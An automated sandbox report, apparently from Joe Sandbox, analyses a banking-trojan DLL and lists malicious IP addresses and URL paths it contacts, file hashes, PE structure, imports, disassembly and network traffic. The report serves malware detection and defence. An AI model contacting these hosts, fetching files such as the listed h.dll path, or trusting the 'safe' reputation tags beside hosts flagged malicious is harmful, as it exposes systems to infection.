https://193.244.140.214:808/	loaddll32.exe, 00000000.00000003.449677667.00000000016DB000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.541565391.00000000056FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/H3	loaddll32.exe, 00000000.00000003.742305887.000000000166F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/8	loaddll32.exe, 00000000.00000003.497146679.000000000166F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/r	loaddll32.exe, 00000000.00000003.713747345.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/n	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/hy	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.739023483.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.594551032.0000000001673000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.628735432.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.453087889.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.708744109.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.554969204.0000000001672000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.730453084.0000000001676000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://143.244.140.214:808/8D	loaddll32.exe, 00000000.00000003.739023483.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96/F7	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/b)	loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/HL	loaddll32.exe, 00000000.00000003.453087889.0000000001672000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/65	loaddll32.exe, 00000000.00000003.628735432.0000000001672000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://143.244.140.214:808/k)	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.739023483.0000000001676000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.708744109.0000000001676000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.547755261.00000000034C9000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://45.77.0.96/	loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.395037799.000000000166E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://192.46.210.220/%Ev	loaddll32.exe, 00000000.00000003.436575966.000000000166B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/rS	loaddll32.exe, 00000000.00000003.750936613.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://185.56.219.47:8116/p	loaddll32.exe, 00000000.00000003.708727054.00000000016DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/h.dll	loaddll32.exe, 00000000.00000003.604985676.0000000001672000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://192.46.210.220/coro8	loaddll32.exe, 00000000.00000003.521947137.000000000166E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://45.77.0.96:6891/6/	loaddll32.exe, 00000000.00000003.574895771.0000000001676000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://18192.46.210.220/	loaddll32.exe, 00000000.00000003.494287191.000000000166F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.641039934.00000000016DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.77.0.96	unknown	United States	20473	AS-CHOOPAUS	true
185.56.219.47	unknown	Italy	202675	KELIWEBIT	true
192.46.210.220	unknown	United States	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	true
143.244.140.214	unknown	United States	174	COGENT-174US	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	510685
Start date:	28.10.2021
Start time:	04:48:56
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Variant.Razy.980776.28061.5528 (renamed file extension from 5528 to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.bank.troj.evad.winDLL@11/2@0/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 12.3% (good quality ratio 12.3%) Quality average: 78.4% Quality standard deviation: 16%
HCA Information:	Successful, ratio: 65% Number of executed functions: 21 Number of non-executed functions: 77
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 173.222.108.210, 173.222.108.226, 20.50.102.62, 20.82.209.183, 80.67.82.211, 80.67.82.235, 40.112.88.60, 40.91.112.76, 20.54.110.249 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, ris-prod.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:50:54	API Interceptor	184x Sleep call for process: rundll32.exe modified
04:51:00	API Interceptor	178x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
45.77.0.96	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.302.dll	Get hash	malicious	Browse
185.56.219.47	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.302.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
KELIWEBIT	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.302.dll	Get hash	malicious	Browse	185.56.219.47
AS-CHOOPAUS	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.302.dll	Get hash	malicious	Browse	45.77.0.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
51c64c77e60f3980eea90869b68c58a8	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.302.dll	Get hash	malicious	Browse	192.46.210.220

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Microsoft Cabinet archive data, 61157 bytes, 1 file
Category:	dropped
Size (bytes):	61157
Entropy (8bit):	7.995991509218449
Encrypted:	true
SSDEEP:	1536:ppUkcaDREfLNPj1tHqn+ZQgYXAMxCbG0Ra0HMSAKMgAAaE1k:7UXaDR0NPj1Vi++xQFa07sTgAQ1k
MD5:	AB5C36D10261C173C5896F3478CDC6B7
SHA1:	87AC53810AD125663519E944BC87DED3979CBEE4
SHA-256:	F8E90FB0557FE49D7702CFB506312AC0B24C97802F9C782696DB6D47F434E8E9
SHA-512:	E83E4EAE44E7A9CBCD267DBFC25A7F4F68B50591E3BBE267324B1F813C9220D565B284994DED5F7D2D371D50E1EBFA647176EC8DE9716F754C6B5785C6E897FA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I........t........*S{I .authroot.stl..p.(.5..CK..8U....u.}M7{v!.\D.u.....F.eWI.!e..B2QIR..$4.%.3eK$J. ......9w4...=.9..}...~....$..h..ye.A..;....\|. O6.a0xN....9..C..t.z.,..d`.c...(5.....<..1.\|..2.1.0.g.4yw..eW.#.x....+.oF....8.t...Y....q.M.....HB.^y^a...)..GaV"\|..+.'..f..V.y.b.V.PV......`..9+..\0.g...!.s..a....Q...........~@$.....8..(g..tj....=,V)v.s.d.].xqX4.....s....K..6.tH.....p~.2..!..<./X......r.. ?(.\[. H...#?.H.".. p.V.}.`L...P0.y....\|...A..(...&..3.ag...c..7.T=....ip.Ta..F.....'..BsV...0.....f....Lh.f..6....u.....Mqm.,...@.WZ.={,;.J...)...{_Ao....T......xJmH.#..>.f..RQT.Ul(..AV..\|.!k0...\|\......U2U..........,9..+.\R..(.[.'M........0.o..,.t.#..>y.!....!X<o.....w...'......a.'..og+>..\|.s.g.Wr.2K.=...5.YO.E.V.....`.O..[.d.....c..g....A..=....k..u2..Y.}.......C...\=...&...U.e...?...z.'..$..fj.'\|.c....4y.".T.....X....@xpQ.,.q.."...t.... $.F..O.A.o_}d.3...z...F?..-...Fy...W#...1......T.3....x.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	326
Entropy (8bit):	3.0984691064611756
Encrypted:	false
SSDEEP:	6:kKcdFN+SkQlPlEGYRMY9z+4KlDA3RUeOlEfcTt:22kPlE99SNxAhUefit
MD5:	230B717FEEB155055342D4E745CFED8E
SHA1:	E1F319562B57775E5A7775E27EC5D1F60FBE88AA
SHA-256:	F83B8CEE295031E6E80BBECBB738C33DD35A330F7F1933F46E58154CD6790A40
SHA-512:	8E433867BF3AA2EBCADF471852663218601553E4B9F113B2015FAA9418BC6672E7D8BEDFE8A6187C0071F9C2BE101DD92EA44523CE517A1DC90377C513F2365E
Malicious:	false
Reputation:	low
Preview:	p...... ...........Z....(....................................................... ...........^.......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.a.a.8.a.1.5.e.a.6.d.7.1.:.0."...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.439684554814386
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Variant.Razy.980776.28061.dll
File size:	1375232
MD5:	e2ba080ddec587a157309bdf0a5442ce
SHA1:	62edb669f364788f1a95fd59d41efbb3df1e0dfb
SHA256:	a4a8b8ef4a801ff1abb10be76c32881cf9adb4f6a784ad0e84e65d55ed1cf7ca
SHA512:	7903cbb3138a5769c104e1cb476ff4fb1599b2c9c8e829f34a02abf701c4cf613fa24f7a1cdfbd2b6ba07369b30fc08b21dec0bc1204d92a92f359c190f3c4a5
SSDEEP:	24576:rnxqsL+DvNdnhMr5Lo6dOGcuQNrSH9d6N9eYWtZgDxxxSPnsqz7puATt5csRbu7r:rcfk82uAJTI7LPswKwu6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............tL..tL..tL^..L..tL...L..tL..vM..tL..qM..tL..wM..tL..rM..tL^..L..tL..uL..tL..{Mo.tL..uM..tL...L..tL..wM..tLRich..tL.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x4336b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5BBD629D [Wed Oct 10 02:23:25 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ccbe70d6d0d02f6248ca160d6a0bb85b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F51FC9AFEB7h
call 00007F51FC9B0BE7h
mov eax, dword ptr [ebp+10h]
push eax
mov ecx, dword ptr [ebp+0Ch]
push ecx
mov edx, dword ptr [ebp+08h]
push edx
call 00007F51FC9AFCA6h
add esp, 0Ch
pop ebp
retn 000Ch
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
push edx
mov edx, dword ptr [ebp+08h]
xor edx, dword ptr [0054806Ch]
push edx
call 00007F51FC9AFEF4h
add esp, 08h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
mov eax, 00000020h
sub eax, edx
push eax
mov ecx, dword ptr [ebp+08h]
push ecx
call 00007F51FC9AFEC3h
add esp, 08h
xor eax, dword ptr [0054806Ch]
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+0Ch]
ror eax, cl
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
call 00007F51FC9B124Dh
push eax
call 00007F51FC9F1F57h
add esp, 04h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [ebp+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x147190	0x6c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1471fc	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x15c000	0x72b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x143110	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x143168	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc7000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc5e2f	0xc6000	False	0.442065922901	data	6.47812636882	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xc7000	0x80aec	0x80c00	False	0.534103837985	data	5.52053058147	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x148000	0x13ba0	0x1800	False	0.1875	DOS executable (block device driverpyright)	3.99635070896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x15c000	0x72b4	0x7400	False	0.710264008621	data	6.69742088731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

GetCurrentDirectoryA, GetTempPathA, GetWindowsDirectoryA, VirtualProtectEx, FindFirstChangeNotificationA, FlushFileBuffers, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, GetModuleHandleW, GetProcAddress, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwind, RaiseException, InterlockedPushEntrySList, InterlockedFlushSList, GetLastError, FreeLibrary, LoadLibraryExW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleExW, HeapAlloc, HeapValidate, GetSystemInfo, ExitProcess, GetStdHandle, GetFileType, WriteFile, OutputDebugStringA, OutputDebugStringW, WriteConsoleW, CloseHandle, WaitForSingleObjectEx, CreateThread, SetConsoleCtrlHandler, GetCurrentThread, GetDateFormatW, GetTimeFormatW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapFree, HeapReAlloc, HeapSize, HeapQueryInformation, GetACP, GetProcessHeap, GetTimeZoneInformation, FindClose, FindFirstFileExA, FindFirstFileExW, FindNextFileA, FindNextFileW, IsValidCodePage, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetEnvironmentVariableW, SetStdHandle, GetConsoleCP, GetConsoleMode, SetFilePointerEx, CreateFileW

Exports

Name	Ordinal	Address
Bluewing	1	0x49eed0
Earth	2	0x49efd0
Masterjust	3	0x49eb20

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2021 04:50:53.132839918 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:53.132898092 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:53.132992983 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:53.611660957 CEST	49748	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:50:53.611677885 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:54.113028049 CEST	443	49748	192.46.210.220	192.168.2.5
Oct 28, 2021 04:50:54.113159895 CEST	49748	443	192.168.2.5	192.46.210.220
